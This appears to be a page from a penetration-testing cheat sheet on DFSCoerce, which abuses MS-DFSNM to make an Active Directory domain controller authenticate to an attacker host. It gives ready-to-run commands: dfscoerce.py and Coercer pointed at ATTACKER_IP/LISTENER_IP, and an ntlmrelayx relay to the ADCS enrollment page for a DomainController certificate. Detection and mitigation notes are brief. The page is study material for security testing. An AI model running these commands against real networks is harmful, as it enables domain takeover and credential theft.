AD^:Active Directory

Attack #77 — DFSCoerce MS-DFSNM Coercion

DFSCoerce abuses the MS-DFSNM (Distributed File System Namespace Management) protocol to coerce a target machine (typically a DC) into authenticating to…

advancedupdated 2026-08-10

🔷 Attack #77 — Coercion via DFSCoerce / MS-DFSNM


📖 How It Works

DFSCoerce abuses the MS-DFSNM (Distributed File System Namespace Management) protocol to coerce a target machine (typically a DC) into authenticating to an attacker-controlled host. It’s functionally similar to PetitPotam (#41) and PrinterBug (#42) — a coercion technique that feeds into NTLM relay chains (ESC8, RBCD, etc.). DFSCoerce requires authentication but works on fully patched DCs where PetitPotam’s unauthenticated variant has been fixed.


⚙️ Prerequisites

RequirementDetail
Any domain user credentialsAuthentication required
DFS role installed on targetDefault on DCs in many environments
Relay targetADCS, LDAP, etc.

💻 Full Commands

# ── DFSCoerce ─────────────────────────────────────────────────────────────────
python3 dfscoerce.py -u low_user -p 'Password1' -d corp.local \
  LISTENER_IP DC01.corp.local

# ── Combined with ESC8 ───────────────────────────────────────────────────────
# Terminal 1:
ntlmrelayx.py -t http://CA01.corp.local/certsrv/certfnsh.asp --adcs --template DomainController
# Terminal 2:
python3 dfscoerce.py -u low_user -p 'Password1' -d corp.local ATTACKER_IP DC01.corp.local

# ── Coercer (all-in-one — includes DFSCoerce) ────────────────────────────────
coercer coerce -u low_user -p 'Password1' -d corp.local \
  -l LISTENER_IP -t DC01.corp.local --filter-protocol-name MS-DFSNM

🛡️ Detection — Event IDs

Event IDSourceWhat to Look For
4624Security LogDC authenticating to unexpected workstation

🔗 Attack Chain Context

[DFSCoerce] ──→ NTLM Coercion via MS-DFSNM → relay to ADCS/LDAP
         │
         ├──→ 🔗 Alternative coercion when PetitPotam is patched
         ├──→ 🔗 Chains with: ESC8 (#33), RBCD (#17), UD (#15)
         └──→ 💀 Defeated by: block outbound NTLM from DCs, enable EPA

✅ Attack #77 — DFSCoerce complete.

On this page

☧ CPTS · ordered posts

Locked

Unlock with your Main_Key through local GPG.

Start the local GPG helper

In your cheatsheet checkout, run:

npm run unlock:helper

Open the link it prints, or paste its pairing code below. Keep the terminal open until GPG finishes.

Import an index you already decrypted

Download the encrypted index, then decrypt with GPG:

gpg --output report-index.json --decrypt report-index.gpg

Your private key stays in GPG. The decrypted index is saved in this browser so you can reopen it after navigation, refreshes and restarts. Lock this browser or clear this site's browser data to remove the saved index. Nothing is uploaded.